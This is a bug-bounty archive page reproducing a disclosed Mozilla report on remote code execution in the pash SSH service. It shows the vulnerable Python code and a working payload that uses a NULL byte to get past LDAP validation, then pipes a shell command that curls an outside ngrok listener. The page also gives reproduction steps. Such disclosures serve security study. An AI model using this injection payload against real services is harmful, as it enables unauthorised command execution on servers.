Skip to content
RCE Disclosed report Advanced

pash authenticated RCE via LDAP NULL byte injection

The pash service allowed authenticated users to clone private repositories, and the username input was passed to shell commands without proper sanitisation. An attacker could inject a NULL byte to bypass LDAP validation and then inject shell commands, leading to remote code execution.

Mozilla

Originally disclosed on Mozilla

Critical View original
  • Fixed in 14 days
  • Paid in 14 days
  • Disclosed after 14 days
Text
Created attachment 9309827
screenshot

pash [offers to clone from user's private repositories](https://hg.mozilla.org/hgcustom/version-control-tools/file/tip/hgserver/pash/hg_helper.py#l341) in the `make_repo_clone` method. Note that here the `source_user` is completely user controlled

'''python    elif selection == 'Clone a private repository':
        source_user = input(
            'Please enter the e-mail address of the user owning the repo: '
        )
        valid_user = is_valid_user(source_user)
        if valid_user == True:
            source_user = source_user.replace('@', '_')
        elif valid_user == False:
            sys.stderr.write('Unknown user.\n')
            sys.exit(1)
        elif valid_user == 'Invalid Email Address':
            sys.stderr.write('Invalid Email Address.\n')
            sys.exit(1)
        source_user_path = run_command('find ' + DOC_ROOT + '/users/' + source_user + ' -maxdepth 1 -mindepth 1 -type d')
        if not source_user_path:
            print('That user does not have any private repositories.')
            print('Check https://' + cname + '/users for a list of valid users.')
            sys.exit(1)
        else:
            user_repo_list = run_command('find ' + DOC_ROOT + '/users/' + source_user + ' -maxdepth 3 -mindepth 2 -type d -name .hg')
            user_repo_list = map(lambda x: x.replace(DOC_ROOT + '/users/' + source_user, ''), user_repo_list)
            user_repo_list = map(lambda x: x.replace('/.hg', ''), user_repo_list)
            user_repo_list = map(lambda x: x.strip('/'), user_repo_list)
            user_repo_list = sorted(user_repo_list)
            print('Select the users repo you wish to clone.')
            source_repo = prompt_user('Pick a source repo:', user_repo_list, period=False)
            source_repo = 'users/' + source_user + '/' + source_repo
'''
The call to `is_valid_user` calls `get_ldap_attribute` from [`ldap_helper.py`](https://hg.mozilla.org/hgcustom/version-control-tools/file/tip/hgserver/hgmolib/hgmolib/ldap_helper.py#l36)

Here we have a potential LDAP injection via the `mail` parameter:

'''python
result = ldap_conn.search_s('dc=mozilla', ldap.SCOPE_SUBTREE, '(mail=' + mail + ')', [attr])
'''
However the following characters are stripped in the calling function `is_valid_user`

'''python
    mail = mail.strip()
    replacements = {
        '(': '',
        ')': '',
        "'": '',
        '"': '',
        ';': '',
    }
    for search, replace in replacements.items():
        mail = mail.replace(search, replace) 
'''

It took me a moment, but we can inject NULL bytes into the LDAP queries and gain RCE like so:

'''
echo "1\n2\njoernchen@*\\\00|sh -c 'curl https://6674-84-173-134-114.eu.ngrok.io' " |ssh -i ~/.ssh/id_ecdsa_moz -l '[address removed]' hg.mozilla.org 'clone testhg'
'''

To explain the payload: `1\n2\n` will select the proper arguments to the `clone testhg` command to end up in the clone private repository path. then `joernchen@*\\\00` will be the part of the LDAP filter which will find my account, it's enabled for access to `hg.mozilla.com` so the is_valid_user will return 1. The last part `|sh -c 'curl https://6674-84-173-134-114.eu.ngrok.io' ` of the payload is the actual injected command it will be dropped in the LDAP search due to the injected NULL character. This works because [`sh_helper.py`](https://hg.mozilla.org/hgcustom/version-control-tools/file/tip/hgserver/pash/sh_helper.py) which is used to execute the `find` commands looks for `|` to open subprocesses. 


Attached also a screenshot of my ngrok listener for the above payload accepting a connection from `63.245.208.129` which resolves to `default-nat.fw1.mdc1.mozilla.com`.

The original report as published on Mozilla's Bugzilla. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application failed to sanitise user input before passing it to shell commands, and the LDAP filter validation could be bypassed with a NULL byte.

What the attacker needed

Valid account on hg.mozilla.org; SSH access to the pash service

How it was found

  1. Connect to hg.mozilla.org via SSH using the pash command.
  2. Choose the option to clone a private repository.
  3. Enter a crafted email address containing newlines, a NULL byte, and a shell command.
  4. The server executes the injected command, which can be observed on a listener.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

pash is a tool that lets developers manage their code repositories. The username entered when cloning a private repo was used in a system command without cleaning it properly. By sneaking in a special character (a NULL byte) and a pipe symbol, an attacker could make the server run their own commands.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.